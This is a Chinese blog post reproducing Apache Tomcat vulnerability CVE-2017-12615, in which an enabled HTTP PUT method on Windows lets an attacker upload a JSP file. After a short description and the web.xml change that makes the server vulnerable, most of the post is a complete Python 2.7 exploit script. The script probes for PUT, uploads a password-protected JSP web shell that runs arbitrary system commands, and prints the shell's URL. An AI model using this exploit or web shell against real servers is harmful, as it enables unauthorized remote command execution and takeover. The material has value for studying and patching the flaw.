Tomcat远程命令执行漏洞 CVE-2017-12615

2018-08-21  本文已影响151人  CSeroad

漏洞描述:

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法,攻击者将有可能向服务器上传恶意的 JSP 文件,并得到解析。

漏洞范围:

Apache Tomcat 7.0.0 - 7.0.81

漏洞复现:

这里下载Tomcat-7.0.70,配置Tomcat服务器

在Tomcat7.0版本默认配置是开启readonly的,需要手动配置readonly为false才可以进行漏洞利用。

在D:\apache-tomcat-7.0.70\conf\web.xml进行添加

<init-param>

<param-name>readonly</param-name>

<param-value>false<param-value>

</init-param>

false

保存后重启tomcat。。

在tomcat默认配置的情况下,返回403禁止。

true

当修改配置后。

构造jsp一句话木马,返回http的201状态码。

false

该文件被成功写进。。

123.jsp

访问123.jsp的shell文件。

shell

也可以使用python语言exp进行攻击。

jsp

该shell文件被成功写进。

success

python源码为:

#coding:utf-8

#python2.7

import httplib

import sys

import time

def attack():

body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println(""+excuteCmd(request.getParameter("cmd"))+"");}else{out.println(":-)");}%>''' conn=httplib.HTTPConnection(sys.argv[1])

res=conn.request("OPTIONS","/docs/")

headers = dict(conn.getresponse().getheaders())

print headers

if 'allow' in headers and headers['allow'].find('PUT')>0:

conn.close()

conn = httplib.HTTPConnection(sys.argv[1])

url = "/" + str(int(time.time()))+'.jsp/'

conn.request(method='PUT', url= url, body=body)

res = conn.getresponse()

if res.status==201:

print 'shell:', 'http://'+sys.argv[1]+url

elif res.status==204:

print 'file exists'

else:

print 'error'

conn.close()

else:

print 'Server not vulnerable'

attack()

附加一图:

exp

参考资料:

https://www.jianshu.com/p/f78696043a74

上一篇 下一篇

猜你喜欢

热点阅读